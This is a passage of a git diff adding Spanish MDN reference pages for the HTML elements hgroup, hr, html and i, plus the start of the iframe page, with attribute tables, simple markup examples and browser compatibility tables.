+ <li class="last"><a class="deki-ns current" href="/en/Sections_and_Outlines_of_an_HTML5_document" title="en/Sections and Outlines of an HTML5 document">Sections and outlines of an HTML5 document</a>.</li>
+</ul>
+
+<p>{{ languages( { "en": "en/HTML/Element/header" } ) }}</p>
+</div>
+</div>
diff --git a/files/es/web/html/elemento/hgroup/index.html b/files/es/web/html/elemento/hgroup/index.html
new file mode 100644
index 0000000000..18aa804ac2
--- /dev/null
+++ b/files/es/web/html/elemento/hgroup/index.html
@@ -0,0 +1,120 @@
+---
+title: hgroup
+slug: Web/HTML/Elemento/hgroup
+translation_of: Web/HTML/Element/hgroup
+---
+<h2 id="Resumen">Resumen</h2>
+
+<p>El <em>elemento de grupo de cabeceras HTML</em> (<span style="font-family: Courier New;">&lt;hgroup&gt;</span>) representa el encabezado de una sección. Define un solo título que participa de <a href="/en/Sections_and_Outlines_of_an_HTML5_document" title="en/Sections and Outlines of an HTML5 document">la estructura del documento </a>como el encabezado de la sección implícita o explícita a la que pertenece.</p>
+
+<p>Su <em>text</em>o para el algoritmo de estructura es el texto del primer elemento de encabezado HTML de más alto rango (ip.ej., el primer {{ HTMLElement("h1") }}, {{ HTMLElement("h2") }}, {{ HTMLElement("h3") }}, {{ HTMLElement("h4") }}, {{ HTMLElement("h5") }} o {{ HTMLElement("h6") }} con el número más pequeño entre sus descendientes) y el <em>rango</em> es el rango del mismo elemento de encabezado HTML.</p>
+
+<p>Por tanto, este elemento agrupa varios encabezados, pero solo el primero contribuye a la estructura del documento. Permite asociar títulos secundarios, como subencabezados, títulos alternativos, e incluso lemas, con el encabezado principal, sin contaminar la estructura del documento.</p>
+
+<p>Este elemento se fue removido de la especificacion HTML5 (W3C), por favor no usar mas.</p>
+
+<h3 id="Contexto_de_uso">Contexto de uso</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Contenido permitido</td>
+   <td>Cero o más elementos HTML de encabezado ({{ HTMLElement("h1") }}, {{ HTMLElement("h2") }}, {{ HTMLElement("h3") }}, {{ HTMLElement("h4") }}, {{ HTMLElement("h5") }}, {{ HTMLElement("h6") }})</td>
+  </tr>
+  <tr>
+   <td>Omisión de etiqueta</td>
+   <td>Ninguna, ambas, la etiqueta de inicio y fin son obligatorias</td>
+  </tr>
+  <tr>
+   <td>Elementos padre permitidos</td>
+   <td>
+    <p>Cualquier elemento que acepte <a href="/en/HTML/Content_categories#flow_content" title="en/HTML/Content categories#flow content">flujo de contenido</a>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Documento nomativo</td>
+   <td><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/sections.html#the-hgroup-element" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/sections.html#the-hgroup-element">HTML5, section 4.4.7</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Atributos">Atributos</h3>
+
+<p>Este elemento no tiene más atributos que los <a href="/en/HTML/Global_attributes" rel="internal">atributos globales</a>, común a todos los elementos.</p>
+
+<h2 id="Notas_de_uso">Notas de uso</h2>
+
+<div class="note">
+<p>Si bien el elemento <code>&lt;hgroup&gt;</code> se eliminó de la especificación HTML5 (W3C), todavía se mantiene en la versión WHATWG de HTML. De todos modos, está parcialmente implementado en la mayoría de los navegadores, por lo que es improbable que desaparezca.<br>
+ Sin embargo, dado que el propósito principal del elemento <code>&lt;hgroup&gt;</code> es afectar cómo <a href="/en-US/docs/Web/Guide/HTML/Using_HTML_sections_and_outlines#The_HTML5_outline_algorithm">el algoritmo de generación de esquemas de documento</a> muestra los encabezados, pero <strong>dicho algoritmo no ha sido implementado por ningún navegador</strong>, la semántica de <code>&lt;hgroup&gt;</code> es por el momento solo teórica.<br>
+ La especificación HTML5 (W3C) aconseja entonces cómo maquetar <a href="https://www.w3.org/TR/html52/common-idioms-without-dedicated-elements.html#common-idioms-without-dedicated-elements">subtítulos, títulos alternativos y lemas</a> sin utilizar <code>&lt;hgroup&gt;</code>.</p>
+</div>
+
+<h3 class="editable" id="Interfaz_DOM">Interfaz DOM</h3>
+
+<p>Este elemento implementa la interfaz<code> <a href="/es/DOM/element" title="en/DOM/element">HTMLElement</a></code>.</p>
+
+<h3 id="Ejemplos">Ejemplos</h3>
+
+<pre class="brush: html">&lt;hgroup&gt;
+  &lt;h1&gt;Main title&lt;/h1&gt;
+  &lt;h2&gt;Secondary title&lt;/h2&gt;
+&lt;/hgroup&gt;
+</pre>
+
+<h3 id="Compatibilidad">Compatibilidad</h3>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>5</td>
+   <td>{{ CompatGeckoDesktop("2.0") }}</td>
+   <td>9.0</td>
+   <td>11.10</td>
+   <td>4.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>2.2</td>
+   <td>{{ CompatGeckoMobile("2.0") }}</td>
+   <td>9.0</td>
+   <td>11.0</td>
+   <td>5.0 (iOS 4.2)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Ver_también">Ver también</h3>
+
+<ul>
+ <li>Otros elementos relacionados a sección: {{ HTMLElement("body") }}, {{ HTMLElement("article") }}, {{ HTMLElement("section") }}, {{ HTMLElement("aside") }}, {{ HTMLElement("h1") }}, {{ HTMLElement("h2") }}, {{ HTMLElement("h3") }}, {{ HTMLElement("h4") }}, {{ HTMLElement("h5") }}, {{ HTMLElement("h6") }}, {{ HTMLElement("nav") }}, {{ HTMLElement("header") }}, {{ HTMLElement("footer") }}, {{ HTMLElement("address") }};</li>
+ <li class="last"><a class="deki-ns current" href="/en/Sections_and_Outlines_of_an_HTML5_document" title="en/Sections and Outlines of an HTML5 document">Secciones y estructuras de un documento HTML5</a>.</li>
+</ul>
diff --git a/files/es/web/html/elemento/hr/index.html b/files/es/web/html/elemento/hr/index.html
new file mode 100644
index 0000000000..22b569e245
--- /dev/null
+++ b/files/es/web/html/elemento/hr/index.html
@@ -0,0 +1,156 @@
+---
+title: <hr>
+slug: Web/HTML/Elemento/hr
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/hr
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p><span class="comment">descripción de uno o dos párrafos</span>El <strong>elemento HTML &lt;hr&gt; </strong>representa un cambio de tema entre párrafos (por ejemplo, un cambio de escena en una historia, un cambio de tema en una sección). En versiones previas de HTML representaba una línea horizontal. Aún puede ser representada como una línea horizontal en los navegadores visuales, pero ahora es definida en términos semánticos y no tanto en términos representativos, por tanto para dibujar una línea horizontal se debería usar el CSS apropiado.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: <code>&lt;hr/&gt;</code> (solo tiene una).</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_bloque">en bloque</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_bloque">en bloque</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: Nada, es un "elemento vacío" del un Glosario.</dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">Valor</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genéricos</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">title </code></td>
+   <td>Texto</td>
+   <td>Implícito</td>
+   <td>Título consultivo del elemento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">style </code></td>
+   <td>Declaraciones de estilo</td>
+   <td>Implícito</td>
+   <td>Información de estilo en línea.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">id </code></td>
+   <td>Un 'nombre'</td>
+   <td>Implícito</td>
+   <td>Identificador único a nivel de documento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">class </code></td>
+   <td>Lista de clases CSS</td>
+   <td>implícito</td>
+   <td>Identificador a nivel de documento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">dir </code></td>
+   <td>Uno de los siguientes: <code>"ltr"</code> o <code>"rtl"</code></td>
+   <td>Implícito</td>
+   <td>Dirección del texto.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">lang </code></td>
+   <td>Código de idioma</td>
+   <td>Implícito</td>
+   <td>Información sobre el idioma.</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup. </code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="4">De transición</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">align </code></td>
+   <td>uno de los siguientes: <code>"left", "center", "right".</code></td>
+   <td>Implícito. Por defecto: <code>"center"</code></td>
+   <td>Indica la alineación horizontal.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">noshade </code></td>
+   <td><code>"noshade"</code></td>
+   <td>Implícito</td>
+   <td>Elimina el relieve.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">size </code></td>
+   <td>Una cantidad, de píxeles</td>
+   <td>Implícito</td>
+   <td>Indica la altura de la linea.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">width </code></td>
+   <td>Una cantidad, de píxeles, o un porcentaje.</td>
+   <td>Implícito. por defecto: 100%</td>
+   <td>Indica la anchura.</td>
+  </tr>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">Valor</th>
+   <th>Descripción</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval">  &lt;p&gt;Este es un parrafo unicamente visual para ver el uso de
+ la etiqueta hr&lt;/p&gt;
+  &lt;hr/&gt;
+  &lt;p&gt;Este es el segundo parrafo, separado del primero por la etiqueta hr, que puede
+representarse mediante una línea horizontal.&lt;/p&gt;
+</pre>
+
+<h3 id="Muestra">Muestra</h3>
+
+<p>Este es un parrafo unicamente visual para ver el uso de la etiqueta hr</p>
+
+<hr>
+<p>Este es el segundo parrafo, separado del primero por una linea horizontal</p>
+
+<h3 id="Comentarios" name="Comentarios">Comentarios</h3>
+
+<p> </p>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>El elemento <a class="external" href="http://html.conclase.net/w3c/html401-es/present/graphics.html#edef-HR"><strong>hr</strong> en la especificación</a> de html 4.01</li>
+</ul>
+
+<p><span class="comment">secciones futuras: == Soporte de los navegadores == == Valores por defecto y visualización en Firefox ==</span></p>
+
+<div class="note">
+<p>Este documento está siendo editado, posiblemente contenga defectos y carencias. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en la elaboración de este documento? Para saber como hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p> </p>
diff --git a/files/es/web/html/elemento/html/index.html b/files/es/web/html/elemento/html/index.html
new file mode 100644
index 0000000000..48fd5f469e
--- /dev/null
+++ b/files/es/web/html/elemento/html/index.html
@@ -0,0 +1,176 @@
+---
+title: <html>
+slug: Web/HTML/Elemento/html
+tags:
+  - Element
+  - Elemento
+  - HTML
+  - HTML Root Element
+  - HTML elemento raiz
+  - 'HTML:Elemento'
+  - Reference
+  - Referencia
+  - Todas_las_Categorías
+  - Web
+translation_of: Web/HTML/Element/html
+---
+<p>{{HTMLRef}}</p>
+
+<p>El <strong>elemento HTML <code>&lt;html&gt;</code></strong> (o <em>elemento HTML raiz</em>) representa la raiz de un documento HTML. El resto de elementos descienden de este elemento.</p>
+
+<p>Dado que el elemento <code>&lt;html&gt;</code> es el primero en un documento, aparte de los comentarios, se llama el elemento raíz. A pesar de que esta etiqueta puede ser implicita, o no requerida en {{glossary("HTML")}}, sí es requerida para abrir y cerrar en {{glossary("XHTML")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido">Categorías de Contenido</a></th>
+   <td>Ninguna.</td>
+  </tr>
+  <tr>
+   <th>Contenido permitido</th>
+   <td>Un elemento {{HTMLElement("head")}} seguido de un elemento {{HTMLElement("body")}}.</td>
+  </tr>
+  <tr>
+   <th>Omisión de etiqueta</th>
+   <td>
+    <p>La etiqueta de inicio puede omitirse si lo primero que hay en el interior del elemento &lt;html&gt; no es un comentario.<br>
+     La etiqueta final puede omitirse si el elemento &lt;html&gt; no está inmediatamente seguido por un comentario y contiene un elemento {{HTMLElement("body")}}, o bien que no esté vacío, o cuya etiqueta de inicio está presente.</p>
+   </td>
+  </tr>
+  <tr>
+   <th>Elementos padres permitidos</th>
+   <td>Como elemento raiz de un documento, o donde se permite un fragmento de subdocumento en un documento compuesto.</td>
+  </tr>
+  <tr>
+   <th>Interfaz DOM</th>
+   <td>{{domxref("HTMLHtmlElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p><span style="line-height: 21px;">Este elemento incluye los </span><a href="/es/docs/Web/HTML/Atributos_Globales" style="line-height: 21px;" title="HTML/Global attributes">atributos globales</a><span style="line-height: 21px;">.</span></p>
+
+<dl>
+ <dt>{{htmlattrdef("manifest")}} {{obsolete_inline}}</dt>
+ <dd>Especifica la dirección URL de un manifiesto de recursos que indica los recursos que deben ser almacenados en la caché local. Consulte <a href="https://developer.mozilla.org/es/docs/Web/HTML/Using_the_application_cache" title="/en-US/docs/HTML/Using_the_application_cache">Uso de la cache de la aplicación</a> para obtener más información.</dd>
+ <dt>{{htmlattrdef("version")}} {{obsolete_inline}}</dt>
+ <dd>Especifica la versión {{glossary("DTD", "Document Type Definition")}} de HTML del documento actual. Este atributo no es necesario, porque es redundante con la información de versión en la declaración de tipo de documento.</dd>
+ <dt>{{htmlattrdef("xmlns")}} </dt>
+ <dd>Especifica el Espacio de nombres XML del documento. El valor por defecto es <code>"http://www.w3.org/1999/xhtml"</code>. En XHTML es requerido y en HTML es opcional.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>El DOCTYPE usado en el siguiente ejemplo indica que es un documento HTML5.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;...&lt;/head&gt;
+  &lt;body&gt;...&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-html-element', '&lt;html&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambios desde la última instantánea.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'semantics.html#the-html-element', '&lt;html&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Añadido soporte para el atributo <code>manifest</code> (en desuso después).<br>
+    El Atributo <code>version</code> es obsoleto.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.3', '&lt;html&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>El Atributo <code>version</code> está en desuso</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>manifest</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>manifest</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>MathML top-level element: {{MathMLElement("math")}}</li>
+ <li>SVG top-level element: {{SVGElement("svg")}}</li>
+</ul>
diff --git a/files/es/web/html/elemento/i/index.html b/files/es/web/html/elemento/i/index.html
new file mode 100644
index 0000000000..e3b318e367
--- /dev/null
+++ b/files/es/web/html/elemento/i/index.html
@@ -0,0 +1,112 @@
+---
+title: i
+slug: Web/HTML/Elemento/i
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/i
+---
+<p> </p>
+
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>Muestra el texto marcado con un estilo en cursiva o italica.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;i&gt; y &lt;/i&gt; (Ambas obligatorias)</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#de_estilo_de_fuente">Elemento de estilo de fuente</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: cero o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a></dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genéricos</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">title</code></td>
+   <td>texto</td>
+   <td>implícito</td>
+   <td>título consultivo del elemento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">style</code></td>
+   <td>reglas de estilo</td>
+   <td>implícito</td>
+   <td>información de estilo en línea.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">id</code></td>
+   <td>ID</td>
+   <td>implícito</td>
+   <td>identificador único a nivel de documento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">class</code></td>
+   <td>CDATA</td>
+   <td>implícito</td>
+   <td>lista de clases separadas por espacios en blanco.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">dir</code></td>
+   <td>(ltr|rtl)</td>
+   <td>implícito</td>
+   <td>dirección del texto débil/neutral</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">lang</code></td>
+   <td>código de idioma</td>
+   <td>implícito</td>
+   <td>información sobre el idioma</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup.</code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="4">De transición</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval">  &lt;p&gt;
+       Texto normal y... &lt;i&gt;Texto 'inclinado'&lt;/i&gt;
+  &lt;/p&gt;
+</pre>
+
+<h3 id="Comentarios" name="Comentarios">Comentarios</h3>
diff --git a/files/es/web/html/elemento/iframe/index.html b/files/es/web/html/elemento/iframe/index.html
new file mode 100644
index 0000000000..23d58f54e8
--- /dev/null
+++ b/files/es/web/html/elemento/iframe/index.html
@@ -0,0 +1,304 @@
+---
+title: '<iframe>: el elemento Inline Frame'
+slug: Web/HTML/Elemento/iframe
+tags:
+  - Contenido
+  - Contenido incrustado
+  - Elemento
+  - Embebido
+  - HTML
+  - Incrustado
+  - Marcos
+  - Web
+  - iframe
+translation_of: Web/HTML/Element/iframe
+---
+<div>{{HTMLRef}}</div>
+
+<p class="seoSummary">El <strong>elemento HTML <code>&lt;iframe&gt;</code></strong> (de inline frame) representa un {{Glossary("contexto de navegación")}} anidado, el cual permite incrustrar otra página HTML en la página actual.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/iframe.html", "tabbed-standard")}}</div>
+
+<p>Cada elemento <code>&lt;iframe&gt;</code> tiene su propio <a href="/es/docs/Web/API/History">historial de sesión</a> y su propio objeto <a href="/es/docs/Web/API/Document">Documento</a>. El contexto de navegación que incluye el contenido implícito se llama <em>contexto de navegación principal</em>. El contexto de navegación de nivel superior (que no tiene padre) es típicamente la ventana del navegador, representado por el objeto {{domxref("Window")}}.</p>
+
+<div class="blockIndicator warning">
+<p>Debido a que cada contexto de navegación es un entorno de documento completo, cada <code>&lt;iframe&gt;</code> en una página requiere más memoria y otros recursos informáticos. Aunque teóricamente puede utilizar tantos <code>&lt;iframe&gt;</code> como desee, compruebe si hay problemas de rendimiento.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido">Categorías de contenidos</a></th>
+   <td><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_dinámico">Contenido dinámico</a>, <a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_textual_o_estático">contenido textual o estático</a>, contenido incrustado, contenido interactivo, <a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_tangible">contenido tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td>Contenido alternativo que normalmente no se renderiza para los navegadores que no son compatibles con el elemento <code>&lt;iframe&gt;</code>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiqueta</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos padres permitidos</th>
+   <td>Cualquier elemento que acepte contenido incrustado.</td>
+  </tr>
+  <tr>
+   <th scope="row">Roles ARIA permitidos</th>
+   <td>{{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("img")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM </th>
+   <td>{{domxref("HTMLIFrameElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento admite <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a>.</p>
+
+<ul>
+ <li>En el atributo <code>target</code> de los elementos {{HTMLElement("a")}}, {{HTMLElement("from")}} y {{HTMLElement("base")}}.</li>
+ <li>En el atributo <code>formtarget</code> de los elementos {{HTMLElement("input")}} y {{HTMLElement("button")}}</li>
+ <li>En el parámetro <code>windowName</code> en el método {{domxref("Window.open()","window.open()")}}.</li>
+</ul>
+
+<dl>
+ <dt>{{htmlattrdef("allow")}}</dt>
+ <dd>Especifíca una <a href="/en-US/docs/Web/HTTP/Feature_Policy">política de características</a> para el <code>&lt;iframe&gt;</code>. Vea el articulo <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Privacy">Privacy, permissions, and information security</a> para detalles en temas de seguridad y como <code>&lt;iframe&gt;</code> funciona con las Politicas de Herramientas para mantener los sistemas seguros.</dd>
+ <dt>{{htmlattrdef("allowfullscreen")}}</dt>
+ <dd>Definido como <code>true</code> si el <code>&lt;iframe&gt;</code> puede activar el modo a pantalla completa llamando al método {{domxref("Element.requestFullscreen", "requestFullscreen()")}}.</dd>
+ <dd>
+ <div class="blockIndicator note">
+ <p>Se considera un atributo heredado y se redefine como <code>allow="fullscreen"</code>.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("allowpaymentrequest")}}</dt>
+ <dd>Definido como <code>true</code> si se debe permitir que un <code>&lt;iframe&gt;</code> de origen cruzado pueda invocar el <a href="/en-US/docs/Web/API/Payment_Request_API">API de solicitud de pago</a>. </dd>
+ <dd>
+ <div class="blockIndicator note">
+ <p>Se considera un atributo heredado y se redefine como <code>allow="payment"</code>.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("csp")}} {{experimental_inline}}</dt>
+ <dd>Una <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">Politica de Seguridad del Contenido</a> aplicada para el recurso incrustado. Vea {{domxref("HTMLIFrameElement.csp")}} para detalles.</dd>
+ <dt>{{ htmlattrdef("height") }}</dt>
+ <dd>Indica la altura del frame {{ HTMLVersionInline(5) }}en píxeles CSS, o {{ HTMLVersionInline(4.01) }} en píxeles o como un porcentaje.</dd>
+ <dt id="name-attribute">{{htmlattrdef("importance")}} {{experimental_inline}}</dt>
+ <dd>La prioridad de descarga en el recurso para el atributo <code>src</code> del <code>&lt;iframe&gt;</code>. Valores permitidos:
+ <ul>
+  <li><code>auto</code>: (default) Sin preferencia. El buscador utiliza sus propias heurísticas para decidir la prioridad del recurso.</li>
+  <li><code>high</code>: El recurso debe ser descargado antes que otros recursos de baja-prioridad de los recursos de la página.</li>
+  <li><code>low</code>: El recurso debe ser descargado después de otros recursos de alta-prioridad de los recursos de la página.</li>
+ </ul>
+
+ <dl>
+ </dl>
+ </dd>
+ <dt>{{ htmlattrdef("name") }}</dt>
+ <dd>Nombre objetivo para el contexto de navegación incrustado. Se puede utilizar:
+ <ul>
+  <li>En el atributo target de los elementos {{HTMLElement("a")}}, {{HTMLElement("from")}} y {{HTMLElement("base")}}.</li>
+  <li>En el atributo formtarget de los elementos {{HTMLElement("input")}} y {{HTMLElement("button")}}</li>
+  <li>En el parámetro windowName en el método {{domxref("Window.open()","window.open()")}}.</li>
+ </ul>
+ </dd>
+ <dt id="attr-referrer">{{htmlattrdef("referrerpolicy")}}</dt>
+ <dd>Indicates which <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/referrer">referrer</a> to send when fetching the frame's resource:
+ <ul>
+  <li><code>no-referrer</code>: The {{HTTPHeader("Referer")}} header will not be sent.</li>
+  <li><code>no-referrer-when-downgrade</code> (default): The {{HTTPHeader("Referer")}} header will not be sent to {{Glossary("origin")}}s without {{Glossary("TLS")}} ({{Glossary("HTTPS")}}).</li>
+  <li><code>origin</code>: The sent referrer will be limited to the origin of the referring page: its <a href="https://developer.mozilla.org/en-US/docs/Archive/Mozilla/URIScheme">scheme</a>, {{Glossary("host")}}, and {{Glossary("port")}}.</li>
+  <li><code>origin-when-cross-origin</code>: The referrer sent to other origins will be limited to the scheme, the host, and the port. Navigations on the same origin will still include the path.</li>
+  <li><code>same-origin</code>: A referrer will be sent for {{Glossary("Same-origin policy", "same origin")}}, but cross-origin requests will contain no referrer information.</li>
+  <li><code>strict-origin</code>: Only send the origin of the document as the referrer when the protocol security level stays the same (HTTPS→HTTPS), but don't send it to a less secure destination (HTTPS→HTTP).</li>
+  <li><code>strict-origin-when-cross-origin</code>: Send a full URL when performing a same-origin request, only send the origin when the protocol security level stays the same (HTTPS→HTTPS), and send no header to a less secure destination (HTTPS→HTTP).</li>
+  <li><code>unsafe-url</code>: The referrer will include the origin <em>and</em> the path (but not the <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLHyperlinkElementUtils/hash">fragment</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLHyperlinkElementUtils/password">password</a>, or <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLHyperlinkElementUtils/username">username</a>). <strong>This value is unsafe</strong>, because it leaks origins and paths from TLS-protected resources to insecure origins.</li>
+ </ul>
